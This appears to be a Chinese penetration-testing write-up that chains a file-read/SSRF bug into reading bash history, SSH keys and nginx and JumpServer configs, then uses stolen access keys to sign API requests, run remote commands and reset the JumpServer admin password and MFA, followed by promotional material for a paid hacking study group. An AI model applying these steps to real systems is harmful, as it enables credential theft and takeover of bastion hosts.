作者:subjcw
0x1 Nginx配置文件利用
第一处文件读取,严格来讲是SSRF(CVE-2021-27905),不过java环境下的SSRF利用有限,端口也只开放了443
读取/root/.bash_history
翻历史命令发现这台主机上有tomcat和nginx,tomcat也没办法利用,于是把目光转向nginx
读取nginx配置文件,获取了多个URL路由信息,分别对应不同的接口或应用
其中有一个管理后台,通过XFF来过滤请求
添加XFF字段,访问到管理后台,弱口令拿下
===
0x2 Jumpserver AccessKey利用
第二个依旧是nginx的场景,多个域名解析到同一个IP,根据域名分发到不同的后端服务。
读取/root/.bash_history
,历史命令比较多,能看出来是经常使用的,还有多个ssh的公私钥
拼接路径,拿到SSH公私钥
读取/root/.ssh/authorized_keys
可以发现获取到的公私钥与目标服务器的公钥匹配
尝试SSH直接登陆。多地ping了一下发现不是CDN,对目标的IP全端口扫描,发现SSH开在一个高端口,但是很遗憾登不上。这个SSH是Nginx服务器的,并不是漏洞所在的服务器。
但是刚刚读authorized_keys
和history
的时候发现目标服务器部署了jumpserver
,并且自身在jumpserver
的管理范围内。
查看收集到的资产,确实有一个jumpserver相关域名,解析IP与当前目标服务器为同一IP。现在就看能否获取jumpserver
控制台权限。
读取jumpserver配置文件/opt/jumpserver/config/config.txt
,可以获取一些敏感信息如数据库、redis密码,但是jumpserver是容器化部署,没办法直接连上。
除此之外就是SECRET_KEY
和BOOTSTRAP_TOKEN
看一下jumpserver
官方文档中的说明
参数说明 - JumpServer 文档
SECRET_KEY=**** # 用来加密解密的 KEY
BOOTSTRAP_TOKEN=**** # koko/lion 用来向jms注册使用的 token
ACCESS_KEY_FILE=data/keys/.access_key # ACCESS KEY 保存的地址, 默认注册后会保存到该文件中
获取之后可以通过脚本调用接口
jumpserver在jms_core
容器中提供了命令行工具用于管理员管理用户,可以修改密码、清除MFA,也就是说只要获取jms_core
容器权限,就可以重置Web管理员密码
看一下python示例,通过使用KeyID和SecretID对请求方法、URL、accept、date进行签名。
import requests, datetime, json
from httpsig.requests_auth import HTTPSignatureAuth
def get_auth(KeyID, SecretID):
signature_headers = ['(request-target)', 'accept', 'date']
auth = HTTPSignatureAuth(key_id=KeyID, secret=SecretID, algorithm='hmac-sha256', headers=signature_headers)
return auth
response = requests.get(url, auth=auth, headers=headers)
也就是说,只要保持请求方法、URL、accept、date不变,签名是可以重用的,可以简单写个python脚本获取sign,将burp作为上级代理捕获数据包后再手动调试数据包
JMS_URL = ''
X_JMS_ORG = ''
KEY_ID = ''
SECRET_ID = ''
headers = {
'Accept': 'application/json',
'X-JMS-ORG': X_JMS_ORG,
'Date': datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
}
def get_auth():
signature_headers = ['(request-target)', 'accept', 'date']
auth = HTTPSignatureAuth(key_id=KEY_ID, secret=SECRET_ID, algorithm='hmac-sha256', headers=signature_headers)
return auth
def get_request(url):
auth = get_auth()
full_url = f"{JMS_URL}{url}"
print(full_url)
response = requests.get(full_url, auth=auth, headers=headers, verify=False)
response = requests.post(full_url, auth=auth, headers=headers, data=None, verify=False)
print(response.text)
读取jumpserver
的accesskey
获取主机列表,这里可以读取/etc/hostname
确认jumpserver
的主机名,找到对应的主机id
GET /api/v1/assets/assets/?offset\=0&limit\=15&display\=1&draw\=1
反弹shell,返回包中包含执行结果的url /api/v1/ops/celery/task//log/
POST /api/v1/ops/command-executions/ HTTP/2
Host:
User-Agent: python-requests/2.31.0
Accept: application/json
Date:
Content-Length:
Content-Type: application/x-www-form-urlencoded
Authorization: Signature
hosts=&run_as=&command=
根据官方文档重置管理员密码,如果存在OTP同样可以通过manage.py进行重置。如果管理员开启了强制OTP,重置之后可以在登录后重新绑定。
user.mfa_level='0'
user.otp_secret_key=''
最后以admin
登录jumpserver
控制台,接管堡垒机。
===
0x3 思路总结
文件读取漏洞在攻防场景下的影响比较有限,但是可以利用文件读取获取历史命令、私钥文件、配置文件等进一步攻击其他服务,继而获取权限或者数据。
0x4 内部圈子详情介绍
我们是_神农安全,点赞 + 在看_ 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。
内部圈子介绍
圈子专注于更新src/红蓝攻防相关:
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例``2、知识星球专属微信“小圈子交流群”``3、微信小群一起挖洞``4、内部团队专属EDUSRC证书站漏洞报告``5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)``6、分享src挖掘技巧tips``7、不定期有众测、渗透测试项目(一起挣钱)``8、不定期有工作招聘内推(工作/护网内推)``9、送全国职业技能大赛环境+WP解析(比赛拿奖)
内部圈子****专栏介绍
知识星球内部共享资料截屏详情如下
(只要没有特殊情况,每天都保持更新)
题外话
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
侵权,请联系删除。